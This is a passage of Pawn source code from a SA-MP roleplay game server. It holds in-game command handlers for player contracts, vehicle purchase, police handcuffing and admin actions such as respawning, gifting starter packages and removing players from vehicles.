					SetPlayerPos(playerid, IntArray[playa][0], IntArray[playa][1], IntArray[playa][2]);
					SetPlayerFacingAngle(playerid, IntArray[playa][3]);
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/contract", true) == 0)
		{
			if(PINFO[playerid][pMember] == 8 || PINFO[playerid][pLeader] == 8) return SCM(playerid,COLOR_SINA3,"You can't use contract when you are a hitman agent.");
			if(PINFO[playerid][pLevel] < 3) return SCM(playerid,COL_SYN,"You need to have higher than 3 level to place a contract.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /contract <Playerid/PartOfName> <Prize>");
			new taraf = ReturnUser6(tmp);
			if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
			if(PINFO[taraf][pAdmin] >= 10) return SCM(playerid,COLOR_YELLOW2,"Error: You can't contract high admin levels.");
			if(PINFO[taraf][pMember] == 8 || PINFO[taraf][pLeader] == 8) return SCM(playerid,COLOR_SINA3,"You cannot contract a hitman agent.");
			if(taraf == playerid) return SCM(playerid,COLOR_YELLOW2,"Error: You can't contract yourself.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /contract <Playerid/PartOfName> <Prize>");
			new prize = strval(tmp);
			if(prize < 150 || prize > 10000) return SCM(playerid,COLOR_SINA3,"Type a Prize number between $150 and $10,000");
			if(prize > GetPlayerPool(playerid)) return SCM(playerid,COLOR_SINA3,"You haven't this cash.");
			if(prize < 1500 && gTeam[taraf] == TEAM_COP) return SCM(playerid,COLOR_SINA3,"The cash to contract a cop must be higher than $1,500.");
			GivePlayerPool(playerid,-prize);
			if(PINFO[taraf][pHeadValue] <= 0)
			{
				ContractsCount ++;
				ContractID[taraf] = ReturnContractID();
				ContractIDUsed[ReturnContractID()] = true;
				AgentHiterID[taraf] = INVALID_PLAYER_ID;
			}
			PINFO[taraf][pHeadValue] += prize;
			SaveKonVal(taraf, "pHeadValue", PINFO[taraf][pHeadValue]);
			SCM(playerid,COLOR_SINA3,"Player get contracted successfully.");
			return 1;
		}
	//--------------------
	/*
	if(strcmp(cmd, "/buyvehicledialog", true) == 0)
	{
		if(!PlayerToPoint(10.0, playerid, 325.5731,-1514.8918,36.0325)) return SendMessage(playerid, COLOR_RED, "You are not at the Dealership");
			IWantCar[playerid] = 0;  PriceCar[playerid] = 0;
			if(PlayerInfo[playerid][pLevel] < 5)
			{
				SendMessage(playerid, COLOR_RED, "You need to be level 5 to buy a car.");
				return 1;
			}
			if(PINFO[playerid][pPremiumAccount] == 0 && PINFO[playerid][pVeh1] != 0 && PINFO[playerid][pVeh2] != 0) return SCM(playerid,COLOR_SINA3,"You already have 2 vehicles in non-premium.");
			if(PINFO[playerid][pPremiumAccount] == 1 && PINFO[playerid][pVeh1] != 0 && PINFO[playerid][pVeh2] != 0 && PINFO[playerid][pVeh3] != 0 && PINFO[playerid][pVeh4] != 0) return SCM(playerid,COLOR_SINA3,"You already have 4 vehicles in premium level 1.");
			if(PINFO[playerid][pPremiumAccount] == 2 && PINFO[playerid][pVeh1] != 0 && PINFO[playerid][pVeh2] != 0 && PINFO[playerid][pVeh3] != 0 && PINFO[playerid][pVeh4] != 0 && PINFO[playerid][pVeh5] != 0  && PINFO[playerid][pVeh6] != 0) return SCM(playerid,COLOR_SINA3,"You already have 6 vehicles in premium level 1.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");

			new pDialog[3000];

			strcat(pDialog, "                            {FFFFFF}** Welcome to the Azin Game Dealer Ship, see cars & carids **{A9C4E4}\n__________________________________________________________________________________________\n", sizeof(pDialog));
			strcat(pDialog, "|(1)Bike[$1,000]\t|| (25)Oceanic[$29,000]\t|| (49)Freeway[$239,000]\t|| (73)Flash[$630,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(2)BMX[$1,000]\t|| (26)Majestic[$32,000]\t|| (50)Merit[$240,000]\t|| (74)Jetmax[$630,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(3)Mountain Bike[$2,000]\t|| (27)Hermes[$34,000]\t|| (51)Sanchez[$250,000]\t|| (75)FCR-900[$631,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(4)Faggio[$3,000]\t|| (28)Greenwood[$36,000]\t|| (52)Speeder[$260,000]\t|| (76)Hotknife[$640,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(5)Perenniel[$6,000]\t|| (29)Buccaneer[$42,000]\t|| (53)Tornado[$275,000]\t|| (77)ZR-350[$680,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(6)Pony[$7,000]\t|| (30)Virgo[$43,000]\t|| (54)Elegant[$281,000]\t|| (78)Savanna[$695,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(7)Cadrona[$8,000]\t|| (31)Blista Compact[$51,000]\t|| (55)Premier[$310,000]\t|| (79)Super GT[$750,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(8)Manana[$9,000]\t|| (32)Regina[$58,000]\t|| (56)PCJ-600[$326,000]\t|| (80)Maverick[$755,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(9)Moonbeam[$10,000]\t|| (33)Fortune[$78,000]\t|| (57)Club[$345,000]\t|| (81)Sandking[$768,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(10)Tampa[$11,000]\t||(34)Quad[$83,000]\t||(58)Alpha[$368,000]\t|| (82)Buffalo[$780,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(11)Bbobcat[$12,000]\t||(35)Hustler[$84,000]\t||(59)Sabre[$385,000]\t|| (83)Jester[$785,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(12)Bravura[$13,000]\t|| (36)Admiral[$90,000]\t|| (60)Euros[$399,000]\t|| (84)Comet[$799,000] \n", sizeof(pDialog));
			strcat(pDialog, "|(13)Sadler[$14,000]\t|| (37)Voodoo[$90,000]\t|| (61)Stafford[$410,000]\t|| (85)Sultan[$830,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(14)Previon[$17,000]\t|| (38)Willard[$114,000]\t|| (62)Sparrow[$420,000]\t|| (86)Elegy[$840,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(15)Clover[$18,000]\t|| (39)Vincent[$133,000]\t|| (63)Tropic[$455,000]\t|| (87)cheetah[$860,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(16)Primo[$19,000]\t|| (40)Mesa[$146,000]\t|| (64)Windsor[$475,000]\t|| (88)Turismo[$910,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(17)Landstalker[$21,000]\t|| (41)Phoenix[$180,000]\t|| (65)Huntley[$512,000]\t|| (89)NRG-500[$940,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(18)Sunrise[$22,000]\t|| (42)Intruder[$184,000]\t|| (66)Uranus[$530,000]\t|| (90)Banshee[$950,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(19)Glendale[$23,000]\t|| (43)Solair[$187,000]\t|| (67)Remington[$530,000]\t|| (91)Bullet[$1,115,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(20)BF Injection[$25,000]\t|| (44)Tahoma[$194,000]\t|| (68)Squallo[$540,000]\t|| (92)Infernus[$1,600,000]\n", sizeof(pDialog));
			strcat(pDialog, "|(21)Stallion[$25,000]\t|| (45)Sentinel[$200,000]\t|| (69)Feltzer[$562,000]\t|| \n", sizeof(pDialog));
			strcat(pDialog, "|(22)Nebula[$26,000]\t|| (46)BF-400[$205,000]\t|| (70)Slamvan[$596,000]\t|| \n", sizeof(pDialog));
			strcat(pDialog, "|(23)Dinghy[$27,000]\t|| (47)Washington[$230,000]\t|| (71)Blade[$615,000]\t|| \n", sizeof(pDialog));
			strcat(pDialog, "|(24)Esperanto[$29,000]\t|| (48)Rancher[$235,000]\t|| (72)Broadway[$625,000]\t|| \n", sizeof(pDialog));
			strcat(pDialog, "|________________________________________________________________________________________", sizeof(pDialog));
			ShowPlayerDialog(playerid, 1666, DIALOG_STYLE_MSGBOX, "List Of Available Vehicles", pDialog, "Forward", "Cancel");
		return 1;
	}
	*/
	if(strcmp(cmd, "/buyvehicle", true) == 0 || strcmp(cmd, "/buyveh", true) == 0)
	{
		if(!PlayerToPoint(10.0, playerid, 325.5731,-1514.8918,36.0325)) return SendMessage(playerid, COLOR_RED, "You are not at the Dealership");
			IWantCar[playerid] = 0;  PriceCar[playerid] = 0;
			if(PlayerInfo[playerid][pLevel] < 5)
			{
				SendMessage(playerid, COLOR_RED, "You need to be level 5 to buy a car.");
				return 1;
			}
			if(PINFO[playerid][pPremiumAccount] == 0 && PINFO[playerid][pVeh1] != 0) return SCM(playerid,COLOR_YELLOW2,"Error: You can only buy one car because you haven't premium account.");
			if(PINFO[playerid][pPremiumAccount] == 1 && PINFO[playerid][pVeh1] != 0 && PINFO[playerid][pVeh2] != 0) return SCM(playerid,COLOR_YELLOW2,"Error: You already have two vehicles.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			SetPlayerPos(playerid,-1953.721801,264.140136,41.047080);
			if(playerid == 0) {
			SetPlayerVirtualWorld(playerid, 10000);
			}
			else {
			SetPlayerVirtualWorld(playerid, playerid);
			}

			rV[playerid] = 1;
			okkon(playerid,rV[playerid]);
			TextDrawShowForPlayer(playerid, TestModel);
			TextDrawShowForPlayer(playerid, BuyModel);
			TextDrawShowForPlayer(playerid, NextModel);
			TextDrawShowForPlayer(playerid, PrevModel);
			TextDrawShowForPlayer(playerid, ExitDS);
			TextDrawShowForPlayer(playerid, RotModel);
			TextDrawShowForPlayer(playerid, RotModel2);

			PlayerTextDrawShow(playerid, CarModel[playerid]);
			PlayerTextDrawShow(playerid, PriceModel[playerid]);
			OnMashinKharidan[playerid] = 1;
			SelectTextDraw(playerid, 0x00FF00FF);
			return 1;
	}
		//=====================================================================================================
		// this command rewrited by Sina
	   if(strcmp(cmd, "/handscuff", true) == 0 || strcmp(cmd, "/hcu", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
		  {
			 tmp = strtok(cmdtext, idx);
			 if(!strlen(tmp)) {
				SendClientMessage(playerid, COL_SYN, "Syntax: /handscuff <Playerid/PartOfName>");
				return 1;
				}
			 giveplayerid = ReturnUser6(tmp);
			 if(IsPlayerConnected(giveplayerid))
			 {
				if(giveplayerid != INVALID_PLAYER_ID)
				{
					if(gTeam[giveplayerid] == TEAM_COP || IsACop(giveplayerid))
					{
					   SendClientMessage(playerid, COLOR_GREY, "You can't Cuff Cops !");
					   return 1;
					}
					if(PlayerHandsCuffed[giveplayerid] == 1)
					{
					   SendClientMessage(playerid, COLOR_GREY, "Player already Cuffed !");
					   return 1;
					}
					//if(PlayerInfo[giveplayerid][pAdmin] > 10) return SCM(playerid, COLOR_YELLOW2, "Error:{FF0000} You can't cuff higher admins rank hands.");
					if (ProxDetectorS(8.0, playerid, giveplayerid))
					{

						  GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						  GetPlayerName(playerid, sendername, sizeof(sendername));
						  format(string, sizeof(string), "You were handsCuffed by %s, till uncuff.", sendername);
						  SendClientMessage(giveplayerid, COLOR_WHITE, string);
						  format(string, sizeof(string), "You handsCuffed %s, till handsuncuff.", giveplayer);
						  SendClientMessage(playerid, COLOR_WHITE, string);
					format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s has cuffed %s's hands", GetPlayerRank(playerid), sendername, giveplayer);
					SendFamilyMessage(1, COLOR_BLUE, string);
					SendFamilyMessage(2, COLOR_BLUE, string);
					SendFamilyMessage(3, COLOR_BLUE, string);
						  format(string, sizeof(string), "%s Hand Cuffs %s, so %s wont go anywhere.", sendername ,giveplayer,(PINFO[giveplayerid][pSex]==1)?("he"):("she"));
						  ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
						  GameTextForPlayer(giveplayerid, "~r~Hands Cuffed", 2500, 3);
						  SetPlayerAttachedObject(giveplayerid, 1, 19418, 6, -0.011000, 0.028000, -0.022000, -15.600012, -33.699977, -81.700035, 0.891999, 1.000000, 1.168000);
						  SetPlayerSpecialAction(giveplayerid, SPECIAL_ACTION_CUFFED);
						  PlayerHandsCuffed[giveplayerid] = 1;


					}
					else
					{
					   SendClientMessage(playerid, COLOR_GREY, "   That player is not near you !");
					   return 1;
					}
				}
			 }
			 else
			 {
				SendClientMessage(playerid, COLOR_GREY, "   That player is Offline !");
				return 1;
			 }
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_GREY, "   You are not a Cop / FBI / National Guard !");
		  }
	   }
	   return 1;
	}
		//========================================================================================================
		// this command rewirted by Sina
	   if(strcmp(cmd, "/handsuncuff", true) == 0 || strcmp(cmd, "/hucu", true) == 0)
	   {
	   if(IsPlayerConnected(playerid))
	   {
		  if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
		  {
			 tmp = strtok(cmdtext, idx);
			 if(!strlen(tmp)) {
				SendClientMessage(playerid, COL_SYN, "Syntax: /handsuncuff <Playerid/PartOfName>");
				return 1;
			 }
			 giveplayerid = ReturnUser6(tmp);
			 if(IsPlayerConnected(giveplayerid))
			 {
				if(giveplayerid != INVALID_PLAYER_ID)
				{
					if (ProxDetectorS(8.0, playerid, giveplayerid))
					{
					   if(giveplayerid == playerid) { SendClientMessage(playerid, COLOR_GREY, "You cannot handsUncuff yourself!"); return 1; }
					   if(PlayerHandsCuffed[giveplayerid])
					   {
						  GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						  GetPlayerName(playerid, sendername, sizeof(sendername));
						  format(string, sizeof(string), "* You were handsUncuffed by %s.", sendername);
						  SendClientMessage(giveplayerid, COLOR_WHITE, string);
						  format(string, sizeof(string), "* You handsUncuffed %s.", giveplayer);
						  SendClientMessage(playerid, COLOR_WHITE, string);
					format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s has uncuffed %s's hands", GetPlayerRank(playerid), sendername, giveplayer);
					SendFamilyMessage(1, COLOR_BLUE, string);
					SendFamilyMessage(2, COLOR_BLUE, string);
					SendFamilyMessage(3, COLOR_BLUE, string);
						  GameTextForPlayer(giveplayerid, "~g~hands Uncuffed", 2500, 3);
						  SetPlayerSpecialAction(giveplayerid, SPECIAL_ACTION_NONE);
						  RemovePlayerAttachedObject(giveplayerid, 1);
						  PlayerHandsCuffed[giveplayerid] = 0;
					   }
					   else
					   {
						  SendClientMessage(playerid, COLOR_GREY, "   That player isn't Tied up !");
						  return 1;
					   }
					}
					else
					{
					   SendClientMessage(playerid, COLOR_GREY, "   That player is not near you !");
					   return 1;
					}
				}
			 }
			 else
			 {
				SendClientMessage(playerid, COLOR_GREY, "   That player is Offline !");
				return 1;
			 }
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_GREY, "   You are not a Cop / FBI / National Guard !");
		  }
	   }
	   //not connected
	   return 1;
	   }
		//=========================================================================================================
	if(strcmp(cmd, "/respawn", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Respawn <Playerid/PartOfName>");
					return 1;
				}
				new playa;
				playa = ReturnUser6(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
						if(PINFO[playa][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "Error: You cannot respawn an admin higher than you.");
						if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
						if(InSleep[playa] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't respawn this player because that player is asleep.");
							//if(SpawnChange[playerid])
							{
								GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
						  GoBack1[playerid][0] = GetPlayerInterior(playerid);
						  GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
						  GoBack1[playerid][2] = Mahal[playerid];
						  GoBack1[playerid][3] = TooHouse[playerid];
						  GoBack1[playerid][4] = TooBiz[playerid];
								ResetPlayerKolang(playa);
								SetSpawnKol(playa);
								SpawnPlayer(playa);
								GetPlayerName(playerid, sendername, sizeof(sendername));
								format(string, sizeof(string), "You have respawned %s", giveplayer);
								SendMessage(playerid, COLOR_LIGHTRED, string);
								if(playa == (EventPlayer[playa]))
								{
								EventPlayer[playa] = 0;
								}
								format(string, sizeof(string), "You have been respawned by Admin %s", sendername);
								SendMessage(playa, COLOR_LIGHTRED, string);
								format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has respawned %s", sendername, giveplayer);
								ABroadCast(COLOR_AdminWarn,string,1);
	if(flymode[playa] == 1)
	{
	flycheat[playa] = 0;
	flymode[playa] = 0;
	StopFly(playa);
	FlyMikone[playa] = 0;
	/*
	if(anticheat[playa] != 0)
	{
	EnableAntiCheatForPlayer(playa, 1, 1);
	EnableAntiCheatForPlayer(playa, 2, 1);
	EnableAntiCheatForPlayer(playa, 3, 1);
	EnableAntiCheatForPlayer(playa, 7, 1);
	EnableAntiCheatForPlayer(playa, 8, 1);
	EnableAntiCheatForPlayer(playa, 10, 1);
	}
	*/
	return 1;
	}
								return 1;
							}
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command!");
				}
			}
			return 1;
		}


		//---------------------------------------
			if(strcmp(cmd, "/package", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /package <Playerid/PartOfName>");
					return 1;
				}
				new playa;
				playa = ReturnUser6(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 3 && PINFO[playerid][pSponser] == 0)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
					if(PINFO[playa][pReg] != 1) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't registered before.");
					if(gPlayerLogged[playa] != 1) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't logged in yet.");
					if(PINFO[playa][pGift] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't give package to that player.");
						if(PlayerInfo[playerid][pAdmin] == 7||PlayerInfo[playerid][pAdmin] == 8||PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
								GetPlayerName(playa, giveplayer, sizeof(giveplayer));

								PlayerInfo[playa][pFlyLic] = 300;
								SaveKonVal(playa, "pFlyLic", 300);

								PlayerInfo[playa][pBoatLic] = 300;
								SaveKonVal(playa, "pBoatLic", 300);

								PlayerInfo[playa][pCarLic] = 300;
								SaveKonVal(playa, "pCarLic", 300);

								PlayerInfo[playa][pFishLic] = 300;
								SaveKonVal(playa, "pFishLic", 300);

								PlayerInfo[playa][pMatsLic] = 300;
								SaveKonVal(playa, "pMatsLic", 300);

								PlayerInfo[playa][pGunLic] = 300;
								SaveKonVal(playa, "pGunLic", 300);

								PlayerInfo[playa][pGunLic] = 300;
								SaveKonVal(playa, "pGunLic", 300);

								PlayerInfo[playerid][pPhoneBook] = 1;
						        SaveKonVal(playerid, "pPhoneBook", 1);

								if(PINFO[playa][pLevel]<3)
								{
								PlayerInfo[playa][pLevel] = 3;
								SaveKonVal(playa, "pLevel", 3);
								}

								PlayerInfo[playa][pGift] = 1;
								SaveKonVal(playa, "pGift", 1);
								
								SetPlayerScore(playa,PlayerInfo[playa][pLevel]);
								if(GetPlayerPool(playa) < 30000)
								{
                                ResetPlayerPool(playa);
								GivePlayerPool(playa, 30000);
								}
								GetPlayerName(playerid, sendername, sizeof(sendername));
								format(string, sizeof(string), "You have given package to %s.", giveplayer);
								SendMessage(playerid, COLOR_LIGHTRED, string);
								format(string, sizeof(string), "Admin {FFFFFF}%s{ff6347} has given you package.", sendername);
								SendMessage(playa, COLOR_LIGHTRED, string);
								format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has given package to %s.", sendername, giveplayer);
								ABroadCast(COLOR_AdminWarn,string,1);
								return 1;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command!");
				}
			}
			return 1;
		}
	//----------------------
	//----------------------
/*
	if(strcmp(cmd, "/buyticket", true) == 0)
{
if(IsPlayerConnected(playerid))
{
			if(IsPlayerInAnyVehicle(playerid))
		  {
			SCM(playerid,COLOR_GREEN,"Your are in vehicle , please exit from vehicle and try again.");
			return 1;
		  }

			if(PlayerToPoint(3.0, playerid, 1642.231689,-2237.691894,13.498592)) {
		  new lsto[1024];
		  format(lsto,sizeof(lsto),"Airport Las Venturas : 1000 $ \t\nAirport San Fiero : 2000 $");
		  ShowPlayerDialog(playerid,1377,DIALOG_STYLE_LIST,"Other Cities:",lsto,"Select","Cancel");
			}
			if(PlayerToPoint(3.0, playerid, 1662.839599,1423.421752,10.798387)) {
		  new lvto[1024];
		  format(lvto,sizeof(lvto),"Airport Los Santos : 1000 $ \t\nAirport San Fiero : 2000 $");
		  ShowPlayerDialog(playerid,1377,DIALOG_STYLE_LIST,"Other Cities:",lvto,"Select","Cancel");
			}
			if(PlayerToPoint(3.0, playerid, -1421.201171,-287.120727,14.148437)) {
		  new sfto[1024];
		  format(sfto,sizeof(sfto),"Airport Las Venturas : 1000 $ \t\nAirport Los Santos : 2000 $");
		  ShowPlayerDialog(playerid,1377,DIALOG_STYLE_LIST,"Other Cities:",sfto,"Select","Cancel");
		}
	}
	return 1;
}
*/
	/*if(strcmp(cmd, "/multiwarn", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
					if(PlayerInfo[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use that command");
					if(MultiWarn[playerid] == 1) {
					MultiWarn[playerid] = 0;
					new str[512];
					format(str, sizeof(str), "{FFFFFF}Admin %s {FF0000}disabled{FFFFFF} multiwarn for him/her self.",sender);
					AdminWarn(str);
					}
					else if(MultiWarn[playerid] == 0) {
					MultiWarn[playerid] = 1;
					new str[512];
					format(str, sizeof(str), "{FFFFFF}Admin %s {2BFF00}enabled {FFFFFF}multiwarn for him/her self.",sender);
					AdminWarn(str);
					}

		}
	return 1;
	}*/
/*
	if(strcmp(cmd, "/sleepauth", true) == 0)
	{
	AFK[playerid] = 1;
	InSleep[playerid] = 1;
	oldColor[playerid] = GetPlayerColor(playerid);
	TogglePlayerControllable(playerid, 0);
	SetPlayerColor(playerid,COLOR_AFK);
	LoopingAnim(playerid,"CRACK","crckidle2",4.0,0,0,0,1,0);
	SendMessage(playerid, COLOR_WHITE, "INFO: You can leave your character AFK and when you come back type again /sleep.");
	PlayerInfo[playerid][pOnline] = 2;
	SaveKonVal(playerid, "pOnline", 2);
	new query[500];
	mysql_format(handle, query, 500, "UPDATE `friends` SET pOnline='2' WHERE pFriend='%e'",PINFO[playerid][pName]);
	mysql_tquery(handle, query, "SendQuery", "");
	return 1;
	}

	if(strcmp(cmd, "/immauth", true) == 0)
	{
	if(TooHouse[playerid] != 9999) return  OnPlayerCommandText(playerid, "/sleepauth");


	SetPlayerInterior(playerid,HouseInfo[900][hInt]);
	SetPlayerVirtualWorld(playerid,HouseInfo[900][hWorld]);
	SetPlayerPos(playerid,HouseInfo[900][hEntrancex],HouseInfo[900][hEntrancey],HouseInfo[900][hEntrancez]);
	TooHouse[playerid] = 9999;
	TooHouse[playerid] = 900;
	Mahal[playerid] = 9999;
	Mahal[playerid] = 3;
	TooBiz[playerid] = 9999;

	OnPlayerCommandText(playerid, "/sleepauth");
	return 1;
	}
	*/
/*
	if(strcmp(cmd, "/ismulti", true) == 0)
	{
	if(IsPlayerConnected(playerid)) {
	if(PlayerInfo[playerid][pAdmin] < 8) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use that command.");
	tmp = strtok(cmdtext, idx);
	if(!strlen(tmp))
	{
		SendMessage(playerid, COL_SYN, "Syntax: /IsMulti <Playerid/PartOfName>");
		return 1;
	}
	new playa;
	playa = ReturnUser6(tmp);
	if(IsPlayerConnected(playa))
	{
	if(playa != INVALID_PLAYER_ID)
	{
	if(IsMulti[playa] == 1) {
	IsMulti[playa] = 0;
	SendClientMessage(playerid, COLOR_LIGHTRED, "Player unmarked for a multi.");
	}
	else if(IsMulti[playa] == 0) {
	IsMulti[playa] = 1;
	SendClientMessage(playerid, COLOR_LIGHTRED, "Player marked for a multi.");
	SetPlayerColor(playa,COLOR_AFK);
	SetPlayerPos(playa, 884.655761,-3296.743164,24.600702);
	new rand = RandomShomare(5,7);
	SetPlayerScore(playa, rand);
	}
	}
	else return 1;
	}
	else return 1;
	}
	return 1;
	}
	*/
	if(strcmp(cmd, "/joinwarn", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
					if(PlayerInfo[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use that command");
					new str[100];
					if(JoinWarn[playerid] == 1) {
					JoinWarn[playerid] = 0;
					format(str, sizeof(str), "{FFFFFF}Admin %s disabled joinwarn for %sself.",PINFO[playerid][pName],(PINFO[playerid][pSex]==1)?("him"):("her"));
					AdminWarn(str);
					}
					else if(JoinWarn[playerid] == 0) {
					JoinWarn[playerid] = 1;
					format(str, sizeof(str), "{FFFFFF}Admin %s enabled joinwarn for %sself.",PINFO[playerid][pName],(PINFO[playerid][pSex]==1)?("him"):("her"));
					AdminWarn(str);
					}

		}
	return 1;
	}
	if(strcmp(cmd, "/quitwarn", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
					if(PlayerInfo[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use that command");
					new str[100];
					if(QuitWarn[playerid] == 1) {
					QuitWarn[playerid] = 0;
					format(str, sizeof(str), "{FFFFFF}Admin %s disabled quitwarn for %sself.",PINFO[playerid][pName],(PINFO[playerid][pSex]==1)?("him"):("her"));
					AdminWarn(str);
					}
					else if(QuitWarn[playerid] == 0) {
					QuitWarn[playerid] = 1;
					format(str, sizeof(str), "{FFFFFF}Admin %s enabled quitwarn for %sself.",PINFO[playerid][pName],(PINFO[playerid][pSex]==1)?("him"):("her"));
					AdminWarn(str);
					}

		}
	return 1;
	}
	if(strcmp(cmd, "/rpfv", true) == 0)
	{
	if(IsPlayerConnected(playerid))
	{
	if(PlayerInfo[playerid][pAdmin] < 2 && PINFO[playerid][pSponser] == 0)
	{
	SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
	return 1;
	}
	tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /rpfv <Playerid/PartOfName> <Reason>");
					return 1;
				}
	new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
		  new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /rpfv <Playerid/PartOfName> <Reason>");
								return 1;
							}
				new playa;
				playa = ReturnUser6(tmp);
	if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"That player isn't connected.");
	if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
	if(!IsPlayerInAnyVehicle(playa)) return SCM(playerid,COLOR_YELLOW2,"That player isn't in any vehicle.");
	if(playa != INVALID_PLAYER_ID)
	{
	RemovePlayerFromVehicle(playa);
	new alistr[256];
	new alistring[256];
	GetPlayerName(playa, giveplayer, sizeof(giveplayer));
	GetPlayerName(playerid, sendername, sizeof(sendername));
	format(alistr, 256, "[Admin-Warn]: {FFFFFF}Admin %s has removed %s from %s vehicle, reason: %s", sendername, giveplayer, (PINFO[playa][pSex]==1)?("his"):("her"), (result));
	ABroadCast(COLOR_AdminWarn,alistr,1);
	format(alistring, 256, "Admin %s has removed you from your vehicle, reason: %s", sendername, (result));
	SCM(playa,COLOR_LIGHTRED, alistring);
	return 1;
	}
	}
	return 1;
	}
	SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
	return 1;
}
forward reportimer(playerid);
public reportimer(playerid) {
Reported[playerid] = INVALID_PLAYER_ID;
SCM(playerid, COLOR_YELLOW, "Your report closed automatically after 5 minutes waiting.");
SvReports--;
IsReported[playerid] = 0;
}
forward helptimer(playerid);
public helptimer(playerid) {
Helpme[playerid] = INVALID_PLAYER_ID;
SCM(playerid, COLOR_YELLOW, "Your helpme closed automatically after 5 minutes waiting.");
SvHelpmes--;
IsHelpmed[playerid] = 0;
}
forward UseDrug(playerid);
public UseDrug(playerid) {
UseDrugp[playerid] = 0;
}
public AddLog(const player[], const taraf[], const harf[], const harf2[], no)
{
new string[256];
new dd,mm,yyyy;
